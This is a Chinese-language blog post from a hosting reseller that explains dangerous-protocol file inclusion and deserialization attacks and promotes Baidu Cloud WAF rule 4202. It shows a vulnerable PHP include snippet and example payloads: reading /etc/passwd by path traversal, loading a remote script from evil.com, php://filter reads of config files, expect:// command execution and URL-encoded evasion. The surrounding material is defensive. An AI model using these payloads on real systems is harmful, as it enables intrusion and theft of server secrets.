当攻击者不是直接上传恶意文件,而是通过“钓鱼”的方式,诱骗你的服务器去加载一个来自危险协议(如php://filter、expect、ftp等)的恶意资源时,传统的文件上传检测可能完全失效。这种攻击被称为危险协议文件包含或反序列化攻击,它利用的是服务器本身对某些协议或函数的“信任”。今天我们就来深度拆解这种攻击的原理,并介绍百度云防护如何用规则ID 4202精准拦截。
一、 什么是危险协议?为什么它会被攻击者利用?
在Web应用中,为了处理文件读写、远程资源获取等需求,许多编程语言和框架支持通过协议来访问资源。例如:
- PHP:
file://、http://、ftp://、php://filter、expect://、data://等 - Java:
jar:、file:、http:、rmi:、ldap:等 - Python:
file://、http://、ftp://等
这些协议本身是合法的,用于读取本地文件、发起网络请求、处理压缩包等。但攻击者可以利用它们绕过正常的访问控制,实现:
- 远程文件包含(RFI):让服务器加载攻击者控制的远程脚本,执行恶意代码。
- 本地文件包含(LFI):读取服务器上的敏感文件(如
/etc/passwd、数据库配置文件)。 - 反序列化攻击:通过特定协议触发反序列化操作,执行预先构造的恶意对象。
1.1 文件包含攻击(LFI/RFI)
典型的文件包含漏洞代码(PHP):
$page = $_GET['page'];
include($page . '.php');
攻击者可以传入:
page=../../../../etc/passwd读取本地文件(LFI)page=http://evil.com/shell执行远程脚本(RFI)
更隐蔽的是,攻击者可以使用协议封装绕过过滤:
page=php://filter/convert.base64-encode/resource=config.php→ 读取并编码敏感文件page=expect://id→ 直接执行系统命令
1.2 反序列化攻击
很多应用支持从用户输入中反序列化对象(如Java的readObject()、PHP的unserialize())。攻击者可以构造恶意序列化数据,利用“危险协议”触发反序列化,进而执行任意代码。例如,在Java中通过ldap://、rmi://协议实现JNDI注入,最终导致远程代码执行(RCE)。
二、 为什么危险协议攻击难以检测?
- 合法外观:请求中包含
php://filter、ldap://等字符串,但这些也可能是正常业务逻辑(如读取流数据)。 - 编码混淆:攻击者可以对协议名进行URL编码、双重编码,绕过简单的关键词匹配。
- 上下文依赖:同一个
file://出现在文件上传功能中可能是正常的,出现在URL参数中则是恶意。 - 反序列化载荷多变:序列化数据通常为二进制或复杂的结构化文本,传统WAF难以解析。
三、 漏洞危害:从文件读取到服务器沦陷
| 攻击类型 | 利用方式 | 后果 |
|---|---|---|
| 本地文件包含 | 读取/etc/passwd、数据库配置 | 获取敏感信息,为下一步攻击做准备 |
| 远程文件包含 | 包含远程Webshell | 直接获取服务器控制权 |
| 反序列化 | JNDI注入、ldap://调用恶意类 | 远程代码执行,完全控制服务器 |
| 协议滥用 | expect://执行系统命令 | 直接运行wget、curl等,植入后门 |
真实案例:某知名CMS曾因允许php://filter协议读取任意文件,导致数十万网站的数据库配置泄露,大量用户数据被窃。
四、 百度云防护如何拦截危险协议攻击?
从百度云防护的内置规则库可以看到,专门有一条规则用于检测此类攻击:
| 规则名称 | 规则ID | 风险等级 | 防护类型 | 规则描述 |
|---|---|---|---|---|
| File_access.danger_protocol.A | 4202 | 中风险 | 文件读取 | 检测利用危险协议进行文件包含或反序列化攻击 |
这条规则的工作原理如下:
4.1 多协议特征库
百度云防护内置了完整的危险协议特征库,包括:
- PHP危险协议:
php://、expect://、ftp://、data://、ssh2://等 - Java危险协议:
ldap://、rmi://、iiop://、dns://、jar:等 - Python/通用危险协议:
file://、gopher://、dict://等
当请求中的参数(如URL、Cookie、POST body)包含这些协议关键字,且出现在不安全的上下文中(如include、file_get_contents、readfile等函数对应参数),规则就会触发。
4.2 语义上下文分析
不是所有出现php://的请求都是恶意的。百度云防护的引擎会分析请求的语义上下文:
- 是否指向敏感文件(如
/etc/passwd、config.php)? - 是否结合了路径遍历(
../)? - 是否出现在可能导致代码执行的参数位置(如
?page=、?file=)?
只有满足恶意模式时才会拦截,大大降低误报。
4.3 多层解码与反混淆
攻击者常用的编码技巧(如%70%68%70%3A%2F%2F、双重URL编码、Unicode编码),百度云防护会自动进行多层解码,还原出原始协议名后再匹配。例如,%70%68%70%3A%2F%2F解码后就是php://,逃不过检测。
4.4 反序列化攻击的深度检测
对于反序列化攻击,百度云防护能够:
- 识别Java序列化流的魔术字节(
aced 0005) - 检测PHP序列化字符串中的危险类(如
O:8:"stdClass":) - 结合协议特征,识别JNDI注入中的
ldap://、rmi://等
4.5 JA4指纹与IP情报联动
针对自动化扫描工具(如专门扫描LFI/RFI的脚本),百度云防护的JA4指纹识别可以锁定工具特征,即使攻击者不断换IP,也能精准拦截。同时,利用IP动态情报库封杀已知攻击源。
五、 如何启用百度云防护规则4202?
如果你已经接入百度云防护,只需两步:
- 登录百度云防护控制台 → 防护配置 → Web防护 → 内置规则
- 搜索规则ID 4202,确认状态为“开启”,动作为“拦截”
(建议先设为“观察”模式运行几天,确认无误后再改为“拦截”)
六、 主机吧总结:别让“合法协议”成为攻击者的“通行证”
危险协议攻击利用的是服务器自身对某些协议或函数的“信任”,具有很强的隐蔽性和破坏力。传统的WAF往往只关注文件扩展名或简单的关键词,很难全面覆盖。而百度云防护的规则4202,通过多协议特征库、语义上下文分析、多层解码等组合拳,让这类攻击无处遁形。
对于开发者来说,除了依赖WAF,还应:
- 禁用危险函数:如PHP的
allow_url_include、allow_url_fopen设为Off。 - 使用白名单:对
include、require等函数的参数进行严格过滤,只允许特定前缀或白名单路径。 - 升级组件:及时修复反序列化相关的漏洞(如Fastjson、Log4j2等)。
如果你还不确定自己的网站是否存在危险协议滥用风险,或者想为网站加上一道主动防御的屏障,欢迎联系主机吧。我们提供免费安全评估和配置指导,助你构建从代码到网络的多层防线。
主机吧 | 百度云防护官方合作伙伴
提供WAF接入、高防CDN、高防IP、高防服务器、SSL证书一站式服务
让每一种危险协议都无处施展,让每一台服务器都固若金汤。


